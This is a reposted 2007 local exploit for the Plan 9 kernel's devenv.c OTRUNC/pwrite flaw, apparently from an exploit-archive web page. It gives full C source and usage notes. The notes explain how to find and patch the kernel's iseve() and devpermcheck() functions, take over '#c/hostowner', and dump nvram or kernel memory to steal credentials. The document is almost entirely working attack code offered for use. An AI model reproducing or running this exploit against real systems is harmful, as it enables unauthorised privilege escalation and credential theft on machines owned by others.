首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Plan 9 Kernel (devenv.c OTRUNC/pwrite) Local Exploit
来源:don.bailey@gmail.com 作者:Don 发布时间:2007-03-01  
/* identity theft
*
* this exploit uses my devenv.c OTRUNC/pwrite vulnerability
* to overwrite specific kernel addresses to help elevate our
* privileges. this exploit is *very* picky, so you *must*
* understand the plan9 kernel and know what you are
* doing, though a best-practice usage example will
* guide new users.
*
* the exploit process is:
* 1) determine the user we're running as
* 2) determine the hostowner for the server
* 3) overwrite specific kernel addresses
* 4) write our username to  '#c/hostowner'
* 5) steal credentials by copying nvram or paging
* through kernel memory for resident creds
* 6) reset previously overwritten functions
* 7) write the original username back to '#c/hostowner'
*
* a best practice usage example is to overwrite iseve() so
* the kernel is tricked into thinking we're the host owner.
* secondly, we can overwrite devpermcheck() to trick the
* kernel into thinking we have permissions to access any
* given in-kernel device file. this will give us immediate
* access to things like /srv/fscons and '#S/sdC0/nvram'.
*
* to get the address you want to overwrite, use the plan9
* debugger after you figure out which kernel the system
* is booting:
*
* cpu% acid /386/9pccpu
* /386/9pccpu:386 plan 9 boot image
*
* /sys/lib/acid/port
* /sys/lib/acid/386
* acid: print(iseve)
* 0xf018d3db
* acid: mem(iseve, "X")
* 0x8b0cec83
* acid: print(devpermcheck)
* 0xf0192a6b
* acid: mem(devpermcheck, "X")
* 0x8b14ec83
* acid: ^D
* cpu% ./itheft -n -o nvram.img -s 0,1024 \
* -k 0xf018d3db,83ec0c8b,31c040c3 \
* -k 0xf0192a6b,83ec148b,31c040c3
*
* as you can see, we overwrite the function addresses in
* kmem with:
*
* xorl %eax, %eax
* incl %eax
* retl
*
* a note on exploit effects.
* when we overwrite '#c/hostowner', the kernel
* automatically changes all processes owned by the
* previous hostowner id to the new id. when the exploit
* has obtained the target information from the kernel, it
* will write the previous hostowner id to '#c/hostowner'.
* since *your* id was now just the hostowner id, this
* second write will alter *your* bin/rc instance's owner
* to the id of the original hostowner. this may seem
* desirable, however it isn't. the reason is that despite
* having access to the hostowner's name, we don't have
* access to the hostowner's credentials. thus, access to
* their files and factotum is still disabled.
*
* therefore, it's best to immediately exit your CPU shell
* once the exploit is finished.
*
* lastly, when using a target of Tmem, expect a kernel
* panic when you trigger a page fault with a bad address.
* make sure you define an appropriate base and ceiling
* when paging through memory.
*
* NB: it'd be nice to have a memory disclosure exploit that's
* as reliable as this one to help verify whether or not the
* kernel addresses are as expected (whether or not we've
* ran bin/acid on the appropriate kernel and obtained the
* correct kernel addresses)
*
* Don "north" Bailey 12/27/06
* don.bailey@gmail.com
*
* you say the hill is too steep to climb
* you say you'd like to see me try
* you pick the place and I'll choose the time
* and I'll climb the hill in my own way
*  - gilmour/waters
*/

#include <u.h>
#include <libc.h>

enum
{
False,
True,
};

enum
{
Anew,
Aold,
};

enum
{
Tmem,
Tnvram,
};

typedef struct Seg Seg;
typedef struct Kfunc Kfunc;

struct
Seg
{
ulong base;
ulong ceiling;
};

struct
Kfunc
{
int nnew;
int nold;
vlong addr;
uchar * new;
uchar * old;
Kfunc * next;
};

static int outfd;
static int envfd;
static char * us;
static Seg * seg;
static int pagesz;
static Kfunc * kf;
static char * them;
static char * outfile;
static char * envpath;
static int target = Tnvram;

static int spin(void);
static int steal(void);
static int kwrite(int);
static void usage(void);
static int addk(char * );
static int envfile(void);
static uchar gethex(char);
static void cleanup(void);
static int getpagesz(void);
static int envremove(void);
static int addseg(char * );
static void delk(Kfunc ** );
static int myidentity(void);
static int stealfile(char * );
static int youridentity(void);
static int sethostowner(char * );
static void err(const char *, ... );
static void msg(const char *, ... );
static int arguments(int, char ** );
static int userfile(char *, char ** );
static void xstrdup(char *, char ** );
static int parsebytes(char *, uchar **, int * );

void
main(int argc, char * argv[])
{
int e;

e = arguments(argc, argv);
if(!e)
usage();
else
e = spin();

cleanup();

if(e)
exits(nil);

exits("you suck as a thief");
}

static void
cleanup(void)
{
Kfunc * k;
Kfunc * l;

if(us)
free(us);
if(seg)
free(seg);
if(them)
free(them);
if(outfile)
free(outfile);
if(envpath)
free(envpath);

if(envfd > 0)
close(envfd);
if(outfd > 0)
close(outfd);

for(k = kf; k; k = l)
{
l = k->next;
delk(&k);
}
}

static void
usage(void)
{
fprint(
2,
"usage: ithief [-{n|m}] -s base,ceiling "
"-o outfile -k ... [-k ... ]\n");
}

static int
arguments(int argc, char ** argv)
{
char * p;

ARGBEGIN
{
case 'n':
{
target = Tnvram;
break;
}
case 'm':
{
target = Tmem;
break;
}
case 's':
{
p = ARGF();
if(!p)
{
err("option 's' needs an argument");
return False;
}

if(!addseg(p))
return False;

break;
}
case 'k':
{
p = ARGF();
if(!p)
{
err("option 'k' needs an argument");
return False;
}

if(!addk(p))
return False;

break;
}
case 'o':
{
p = ARGF();
if(!p)
{
err("option 'o' needs an argument");
return False;
}

if(outfile)
{
err("option 'o' already set");
return False;
}

xstrdup(p, &outfile);
break;
}
default:
{
err("unknown option '%c'", ARGC());
return False;
}
}
ARGEND

if(!kf)
{
err("at least one 'k' is required");
return False;
}

if(!seg)
{
err("one 's' is required");
return False;
}

if(!outfile)
{
err("an output file is required");
return False;
}

return True;
}

static void
err(const char * fmt, ... )
{
va_list v;

va_start(v, fmt);

fprint(2, "error: ");
vfprint(2, fmt, v);
fprint(2, "\n");

va_end(v);
}

static void
msg(const char * fmt, ... )
{
va_list v;

va_start(v, fmt);

fprint(1, "ithief: ");
vfprint(1, fmt, v);
fprint(1, "\n");

va_end(v);
}

static void
xstrdup(char * in, char ** outp)
{
char * out;
int sz;

sz = strlen(in) + 1;

out = calloc(1, sz);
if(!out)
{
perror("calloc");
abort();
}

memcpy(out, in, sz);
*outp = out;
}

static int
addk(char * p)
{
Kfunc * kp;
Kfunc * k;
char * c;
char * e;
char t;

k = calloc(1, sizeof *k);
if(!k)
{
perror("calloc");
abort();
}

for(c = p; *c && *c != ','; c++)
;
t = *c;
*c = 0;

k->addr = strtoull(p, 0, 0);
*c = t;

if(!t)
goto _fail;

for(e = ++c; *c && *c != ','; c++)
;
t = *c;
*c = 0;

if(!parsebytes(e, &k->old, &k->nold))
goto _fail;

if(!t)
goto _fail;

for(e = ++c; *c; c++)
;

if(!parsebytes(e, &k->new, &k->nnew))
goto _fail;

for(kp = kf; kp && kp->next; kp = kp->next)
;
if(!kp)
kf = k;
else
kp->next = k;

return True;

_fail:
err("invalid K syntax");
delk(&k);
return False;
}

static void
delk(Kfunc ** kp)
{
Kfunc * k;

k = *kp;
*kp = nil;

if(k->new)
free(k->new);
if(k->old)
free(k->old);

free(k);
}

static int
parsebytes(char * p, uchar ** bytesp, int * np)
{
uchar * bytes;
uchar byte;
int n;

n = strlen(p);
if(n % 2)
{
err("the byte stream must be an even length");
return False;
}

n = 0;
bytes = nil;

while(p[0] && p[1])
{
byte = gethex(p[0]) << 4 | gethex(p[1]);
bytes = realloc(bytes, (n + 1) * sizeof *bytes);
bytes[n++] = byte;
p += 2;
}

*bytesp = bytes;
*np = n;

return True;
}

static uchar
gethex(char c)
{
return (c >= '0' && c <= '9') ? c - '0' :
(c >= 'a' && c <= 'f') ? c - 'a' + 10 :
(c >= 'A' && c <= 'F') ? c - 'A' + 10 :
-1;
}

static int
spin(void)
{
outfd = create(outfile, OWRITE, 0600);
if(outfd < 0)
{
err("can't create \"%s\": %r", outfile);
return False;
}

if(!getpagesz())
return False;

if(!myidentity())
return False;

if(!youridentity())
return False;

if(!envfile())
return False;

if(!kwrite(Anew))
return False;

if(!sethostowner(us))
return False;

if(!steal())
return False;

if(!kwrite(Aold))
return False;

if(!sethostowner(them))
return False;

return envremove();
}

static int
getpagesz(void)
{
char buffer[64];
char * p;
char * q;
int fd;
int e;

fd = open("#c/swap", OREAD);
if(fd < 0)
{
err("can't open \"#c/swap\": %r");
return False;
}

e = read(fd, buffer, sizeof buffer);
if(e < 0)
{
err("can't read \"#c/swap\": %r");
close(fd);
return False;
}

close(fd);

for(p = buffer; (p - buffer) < sizeof buffer && *p != '\n'; p++)
;
for(q = ++p;
(q - buffer) < sizeof buffer && (*q != ' ' && *q != '\t');
q++)
;
*q = 0;

pagesz = strtoul(p, 0, 0);
msg("the system page size is %d", pagesz);

return True;
}

static int
myidentity(void)
{
if(!userfile("#c/user", &us))
return False;

msg("we are \"%s\"", us);
return True;
}

static int
youridentity(void)
{
if(!userfile("#c/hostowner", &them))
return False;

if(!strcmp(us, them))
{
err("we are the hostowner, genius");
return False;
}

msg("they are \"%s\"", them);
return True;
}

static int
userfile(char * uf, char ** namep)
{
char buffer[1024];
int fd;
int n;

fd = open(uf, OREAD);
if(fd < 0)
{
err("can't obtain an username from \"%s\": %r", uf);
return False;
}

n = read(fd, buffer, sizeof buffer);
if(n <= 0)
{
err("bad read on \"%s\"? %r");
close(fd);
return False;
}

if(n == sizeof buffer)
n = sizeof buffer - 1;

buffer[n] = 0;

close(fd);
xstrdup(buffer, namep);

return True;
}

static int
envfile(void)
{
char buffer[32];
char * p;
int fd;

/* easier to just create our own and rm it */

snprint(buffer, sizeof buffer, "#e/XXXXXXXXXXX");

p = mktemp(buffer);
if(!p[0] || (p[0] == '/' && !p[1]))
{
err("mktemp failed: %r");
return False;
}

msg("creating \"%s\"", p);

fd = create(p, ORDWR, 0600);
if(fd < 0)
{
err("can't create \"%s\": %r", p);
return False;
}

msg("truncating \"%s\"", p);
close(fd);

fd = open(p, OWRITE|OTRUNC);
if(fd < 0)
{
err("can't open \"%s\": %r", p);
return False;
}

msg("\"%s\" is ready for manipulation", p);

xstrdup(buffer, &envpath);
envfd = fd;

return True;
}

static int
kwrite(int obj)
{
Kfunc * k;
uchar * p;
long b;
long n;

for(k = kf; k; k = k->next)
{
if(obj == Anew)
{
p = k->new;
b = k->nnew;
}
else
{
p = k->old;
b = k->nold;
}

msg(
"writing %d %s bytes to %lluX",
b,
obj == Anew ? "new" : "old",
k->addr);

n = pwrite(envfd, p, b, k->addr);
if(n != b)
{
err("failed to write to \"%s\": %r", envpath);
return False;
}
}

return True;
}

static int
sethostowner(char * new)
{
char * test;
int fd;
int n;
int e;

fd = open("#c/hostowner", OWRITE);
if(fd < 0)
{
err("can't open \"#c/hostowner\": %r");
return False;
}

n = strlen(new);

e = write(fd, new, n);
if(e != n)
{
err("write to \"#c/hostowner\" failed: %r");
close(fd);
return False;
}

close(fd);
msg("write of \"%s\" to \"#c/hostowner\" succeeded", new);

if(!userfile("#c/hostowner", &test))
{
err("can't retrieve \"#c/hostowner\" for comparison?");
return False;
}

e = strcmp(new, test) == 0;
if(!e)
{
err(
"write on \"#c/hostowner\" succeeded but stored"
"value isn't as expected: \"%s\"",
test);
}

free(test);

return e;
}

static int
steal(void)
{
char buffer[32];

if(target == Tnvram)
return stealfile("#S/sdC0/nvram");

snprint(buffer, sizeof buffer, "#p/%d/mem", getpid());

return stealfile(buffer);
}

static int
stealfile(char * path)
{
uchar * page;
ulong addr;
long n;
int fd;

msg("opening \"%s\" for imaging", path);

fd = open(path, OREAD);
if(fd < 0)
{
err("can't open \"%s\": %r", path);
return False;
}

page = calloc(1, pagesz);
if(!page)
{
err("calloc failed: %r");
abort();
}

addr = seg->base;

while(addr < seg->ceiling)
{
n = pread(fd, page, pagesz, addr);
if(n <= 0)
{
if(n < 0)
err("read on \"%s\" failed: %r", path);
break;
}

write(outfd, page, n);
addr += n;
}

return True;
}

static int
envremove(void)
{
remove(envpath);
return True;
}

static int
addseg(char * p)
{
ulong ceiling;
ulong base;
char * c;
Seg * s;
char t;

if(seg)
{
err("only one segment can be defined");
return False;
}

for(c = p; *c && *c != ','; c++)
;
if(!*c)
{
err("invalid seg syntax");
return False;
}

t = *c;
*c = 0;

base = strtoul(p, 0, 0);
*c++ = t;

ceiling = strtoul(c, 0, 0);

if(ceiling <= base)
{
err("invalid seg syntax; ceiling <= base");
return False;
}

s = calloc(1, sizeof *s);
if(!s)
{
perror("calloc");
abort();
}

s->base = base;
s->ceiling = ceiling;

msg("using a segment of %luX -> %luX", s->base, s->ceiling);

seg = s;

return True;
}

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Debian Apache 1.3.33/1.3.34 (C
·XM Easy Personal FTP Server 5.
·McAfee VirusScan for Mac (Vire
·NetProxy <= 4.03 Web Filter Ev
·vBulletin <= 3.6.4 (inlinemod.
·3Com TFTP Service <= 2.0.1 (Lo
·madwifi <= 0.9.2.1 WPA/RSN IE
·Snort 2.6.1 DCE/RPC Preprocess
·DivX Web Player 1.3.0 (npdivx3
·Oracle 9i/10g ACTIVATE_SUBSCRI
·phpMyFAQ <= 1.6.7 Remote SQL I
·Oracle 9i/10g DBMS_METADATA.GE
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved